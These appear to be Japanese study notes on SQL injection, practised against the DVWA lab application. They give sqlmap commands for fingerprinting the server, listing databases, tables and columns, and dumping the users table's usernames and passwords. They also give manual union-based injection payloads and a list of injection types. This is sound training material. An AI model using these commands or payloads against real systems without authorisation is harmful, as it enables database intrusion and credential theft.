SQLmap#
使用環境:DVWA
User ID には任意の数字を入力してください
Burp Suite でインターセプトして取得できます
すべて選択して、sqlmap のルートディレクトリにコピーし、.txt ファイルを作成します
その後、CMD で sqlmap を実行します:
py .\sqlmap.py -r .\sql.txt
ここで、sqlmap は PHP バージョン、Nginx バージョン、および使用されているデータベースとバージョンをスキャンしました
次に、
py .\sqlmap.py -r .\sql.txt --dbs
を使用して、データベースと 4 種類のインジェクション脆弱性をスキャンしました
(ブール型ブラインドインジェクション、エラーインジェクション、遅延インジェクション、ユニオンクエリインジェクション)
入力
py .\sqlmap.py -r .\sql.txt -D dvwa --tables
で、dvwa データベース内のテーブルをクエリしました
py .\sqlmap.py -r .\sql.txt -D dvwa -T users --columns
で、users テーブルのフィールドを確認し、user、password があることがわかりました
py .\sqlmap.py -r .\sql.txt -D dvwa -T users -C user,password --dump
で、user と password のデータをスキャンしました
SQL インジェクション#
SQL インジェクションのコア
ユーザーが入力したデータをコードに連結し、SQL 文として実行します。
SQL インジェクションのタイプ:
ユニオンインジェクション:最後に union select を連結
ブールインジェクション:ウェブページの表示が正常かどうかを確認
ディレイインジェクション:sleep () メソッドを利用してデータベースが実行されるかどうかを確認
エラーインジェクション:データベースのエラーメッセージを利用してデータを取得
マルチバイトインジェクション:大量の無駄な文字を書き込む
スタックインジェクション:セミコロンを使用して複数のステートメントを連結
基本的な手順:
インジェクションポイントを判断する
id=1 and 1=2
フィールド数を判断する
id=1 order by 1
エコーポイントを判断する
id=1 and 1=2 union select 1,2,3
関連するコンテンツをクエリする
id=1 and 1=2 union select 1,database(),3